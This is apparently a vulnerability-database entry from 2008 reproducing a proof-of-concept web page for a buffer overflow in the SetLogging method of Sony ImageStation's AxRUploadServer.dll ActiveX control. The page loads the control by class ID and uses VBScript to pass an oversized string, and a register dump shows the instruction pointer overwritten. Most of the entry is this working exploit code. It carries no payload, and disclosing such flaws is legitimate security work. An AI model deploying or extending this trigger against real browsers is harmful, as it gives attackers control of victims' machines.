ImageStation (SonyISUpload.cab 1.0.0.38) ActiveX Buffer Overflow PoC

🗓️ 14 Feb 2008 00:00:00Reported by RootType

Buffer Overflow Vulnerability in AxRUploadServer.dll, ActiveX Method (SetLogging


                                                &lt;html&gt;
&lt;head&gt;&lt;title&gt;Buffer&nbsp;Overflow&nbsp;Vulnerability&nbsp;in&nbsp;AxRUploadServer.dll,&nbsp;Activex&nbsp;Method&nbsp;(SetLogging)&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
Dll&nbsp;name:AxRUploadServer.dll
Download:&nbsp;http://www.imagestation.com/common/classes/SonyISUpload.cab?v=1,0,0,38
&lt;/br&gt;&lt;/br&gt;
Description:
This&nbsp;file&nbsp;belongs&nbsp;to&nbsp;ImageStation&nbsp;that&nbsp;is&nbsp;a&nbsp;servicemark&nbsp;of&nbsp;Sony&nbsp;Electronics&nbsp;Inc.
&lt;/br&gt;&lt;/br&gt;
Internal&nbsp;name:
The&nbsp;ez-Upload&nbsp;control.
&lt;/br&gt;&lt;/br&gt;
Access&nbsp;Violation&nbsp;when&nbsp;executing&nbsp;0x42424242&lt;/br&gt;
........................................&lt;/br&gt;
Registers:&lt;/br&gt;
--------------------------------------------------&lt;/br&gt;
EIP&nbsp;42424242&lt;/br&gt;
EAX&nbsp;42424242&lt;/br&gt;
EBX&nbsp;00000001&lt;/br&gt;
ECX&nbsp;00FE50B0&nbsp;-&gt;&nbsp;00FE0290&lt;/br&gt;
EDX&nbsp;00FE0608&nbsp;-&gt;&nbsp;00187440&nbsp;-&gt;&nbsp;Uni:&nbsp;@t@t&lt;/br&gt;
EDI&nbsp;00000000&lt;/br&gt;
ESI&nbsp;00000000&lt;/br&gt;
EBP&nbsp;0013E6C4&nbsp;-&gt;&nbsp;0013E6E4&lt;/br&gt;
ESP&nbsp;0013E68C&nbsp;-&gt;&nbsp;0145636A&nbsp;-&gt;&nbsp;Asc:&nbsp;jcEjcE&lt;/br&gt;
&lt;/br&gt;&lt;/br&gt;&lt;/br&gt;
Discovered&nbsp;by:&lt;/br&gt;
Trancek,&nbsp;http://www.trancek.es
&lt;/br&gt;&lt;/br&gt;
Greetz:&nbsp;p1mp4m.es(sky,&nbsp;pepepistola,&nbsp;elvispresley,&nbsp;patoruzu,&nbsp;musashi)
&lt;/br&gt;&lt;/br&gt;&lt;/br&gt;
&lt;object&nbsp;classid='clsid:E9A7F56F-C40F-4928-8C6F-7A72F2A25222'&nbsp;id='bof'&gt;&lt;/object&gt;
&lt;input&nbsp;language=VBScript&nbsp;onclick=Son()&nbsp;type=button&nbsp;value=&quot;Explotar&quot;&gt;

&lt;script&nbsp;language='vbscript'&gt;
&nbsp;Sub&nbsp;Son
	arg1=String(5922,&nbsp;&quot;A&quot;)
	arg2=String(5,&nbsp;&quot;B&quot;)

	bof.SetLogging&nbsp;arg1&nbsp;+&nbsp;arg2
&nbsp;End&nbsp;Sub
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

14 Feb 2008 00:00Current

7.1High risk

Vulners AI Score7.1